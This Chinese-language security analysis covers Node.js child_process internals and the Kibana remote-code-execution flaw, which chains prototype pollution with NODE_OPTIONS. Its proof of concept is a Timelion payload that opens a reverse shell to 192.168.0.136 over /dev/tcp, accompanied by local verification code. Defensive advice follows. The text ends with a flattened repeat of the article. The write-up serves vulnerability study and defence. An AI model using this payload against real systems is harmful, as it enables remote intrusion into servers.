从Kibana-RCE对nodejs子进程创建的思考
字数 1548 2025-08-25 22:58:40

Node.js子进程创建机制与Kibana RCE漏洞分析

1. child_process模块概述

Node.js的child_process模块提供了创建子进程的能力,是系统命令执行的核心模块。该模块内置了6个主要方法:

  • execFileSync()
  • execSync()
  • fork()
  • exec()
  • execFile()
  • spawn()

调用关系图

execFileSync() → spawnSync()
execSync() → spawnSync()
spawnSync() → spawn()
exec() → execFile() → spawn()
fork() → spawn()

所有方法最终都调用spawn()spawn()的本质是创建ChildProcess的实例并返回。

2. spawn方法实现机制

2.1 初始化流程

const { spawn } = require('child_process');
spawn('whoami').stdout.on('data', (data) => {
  console.log(`stdout: ${data}`);
});
  1. 调用normalizeSpawnArguments初始化参数
  2. 创建ChildProcess实例
  3. 调用底层spawn实现

2.2 关键函数分析

normalizeSpawnArguments函数

function normalizeSpawnArguments(file, args, options) {
  if (options === undefined) options = {};
  
  var env = options.env || process.env;
  var envPairs = [];
  
  for (var key in env) {
    envPairs.push(key + '=' + env[key]);
  }
  
  return {
    file: file,
    args: args,
    options: options,
    envPairs: envPairs
  };
}

关键点

  • options.env未定义时,默认使用process.env
  • 环境变量被转换为key=value格式存入envPairs
  • options默认为空对象,其任何属性都可能被原型链污染

2.3 底层实现

ChildProcess.prototype.spawn调用C++层的process_wrap.cc实现:

static void Spawn(const FunctionCallbackInfo<Value>& args) {
  Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();
  
  // 处理环境变量
  Local<Value> env_v = js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
  if (!env_v.IsEmpty() && env_v->IsArray()) {
    Local<Array> env_opt = Local<Array>::Cast(env_v);
    int envc = env_opt->Length();
    options.env = new char*[envc + 1];
    
    for (int i = 0; i < envc; i++) {
      node::Utf8Value pair(env->isolate(), env_opt->Get(context, i).ToLocalChecked());
      options.env[i] = strdup(*pair);
    }
    options.env[envc] = nullptr;
  }
  
  // 调用uv_spawn创建子进程
  int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
}

最终通过execvp执行命令:

execvp(options->file, options->args);

3. Kibana RCE漏洞分析

3.1 漏洞原理

利用原型链污染+子进程调用实现RCE:

  1. 原型链污染:污染Object.prototype.env属性
  2. 子进程创建:通过污染的环境变量影响新进程

3.2 关键技术点

NODE_OPTIONS机制

  • Node.js > v8.0.0支持NODE_OPTIONS环境变量
  • 可以在启动时包含JS脚本(相当于include
  • 示例:NODE_OPTIONS='--require ./evil.js' node

Linux环境变量存储

  • 进程环境变量存储在/proc/self/environ
  • 子进程会继承父进程的环境变量

3.3 漏洞利用POC

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

执行流程

  1. 污染Object.prototype.env,注入恶意代码和NODE_OPTIONS
  2. 当创建子进程时,NODE_OPTIONS会加载/proc/self/environ
  3. environ中包含恶意代码,导致RCE

3.4 利用条件分析

  1. 必须使用fork()方法

    • fork()内部调用spawn()时,file值会被设置为process.execPath(即node
    • 只有node进程才会处理NODE_OPTIONS
  2. 其他方法的限制

    • exec()execFile()默认使用/bin/sh作为解释器
    • 即使通过原型污染修改shell选项,也无法改变最终行为

3.5 验证代码

// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {
  'AAAA':'console.log(123)//',
  'NODE_OPTIONS':'--require /proc/self/environ'
}
proc.fork('./function.js');

// function.js
console.log('this is func')

4. 防御措施

  1. 避免原型链污染

    • 使用Object.create(null)创建无原型对象
    • 对用户输入进行严格过滤
  2. 子进程创建安全

    • 始终显式设置options.env,避免继承process.env
    • 使用execFile()而非exec(),避免shell解释
  3. 环境变量安全

    • 限制NODE_OPTIONS的使用
    • 检查关键环境变量是否被篡改

5. 总结

该漏洞的核心在于:

  1. 原型链污染可以影响child_process模块的环境变量
  2. fork()方法创建的是Node.js子进程,会处理NODE_OPTIONS
  3. 通过污染环境变量注入恶意代码实现RCE

理解Node.js子进程创建机制对于安全开发和漏洞分析至关重要,特别是在处理用户输入和创建子进程时,需要格外注意安全边界。

Node.js子进程创建机制与Kibana RCE漏洞分析 1. child_ process模块概述 Node.js的 child_process 模块提供了创建子进程的能力,是系统命令执行的核心模块。该模块内置了6个主要方法: execFileSync() execSync() fork() exec() execFile() spawn() 调用关系图 : 所有方法最终都调用 spawn() , spawn() 的本质是创建 ChildProcess 的实例并返回。 2. spawn方法实现机制 2.1 初始化流程 调用 normalizeSpawnArguments 初始化参数 创建 ChildProcess 实例 调用底层 spawn 实现 2.2 关键函数分析 normalizeSpawnArguments函数 : 关键点 : 当 options.env 未定义时,默认使用 process.env 环境变量被转换为 key=value 格式存入 envPairs options 默认为空对象,其任何属性都可能被原型链污染 2.3 底层实现 ChildProcess.prototype.spawn 调用C++层的 process_wrap.cc 实现: 最终通过 execvp 执行命令: 3. Kibana RCE漏洞分析 3.1 漏洞原理 利用原型链污染+子进程调用实现RCE: 原型链污染 :污染 Object.prototype.env 属性 子进程创建 :通过污染的环境变量影响新进程 3.2 关键技术点 NODE_ OPTIONS机制 : Node.js > v8.0.0支持 NODE_OPTIONS 环境变量 可以在启动时包含JS脚本(相当于 include ) 示例: NODE_OPTIONS='--require ./evil.js' node Linux环境变量存储 : 进程环境变量存储在 /proc/self/environ 子进程会继承父进程的环境变量 3.3 漏洞利用POC 执行流程 : 污染 Object.prototype.env ,注入恶意代码和 NODE_OPTIONS 当创建子进程时, NODE_OPTIONS 会加载 /proc/self/environ environ 中包含恶意代码,导致RCE 3.4 利用条件分析 必须使用fork()方法 : fork() 内部调用 spawn() 时, file 值会被设置为 process.execPath (即 node ) 只有 node 进程才会处理 NODE_OPTIONS 其他方法的限制 : exec() 和 execFile() 默认使用 /bin/sh 作为解释器 即使通过原型污染修改 shell 选项,也无法改变最终行为 3.5 验证代码 4. 防御措施 避免原型链污染 : 使用 Object.create(null) 创建无原型对象 对用户输入进行严格过滤 子进程创建安全 : 始终显式设置 options.env ,避免继承 process.env 使用 execFile() 而非 exec() ,避免shell解释 环境变量安全 : 限制 NODE_OPTIONS 的使用 检查关键环境变量是否被篡改 5. 总结 该漏洞的核心在于: 原型链污染可以影响 child_process 模块的环境变量 fork() 方法创建的是Node.js子进程,会处理 NODE_OPTIONS 通过污染环境变量注入恶意代码实现RCE 理解Node.js子进程创建机制对于安全开发和漏洞分析至关重要,特别是在处理用户输入和创建子进程时,需要格外注意安全边界。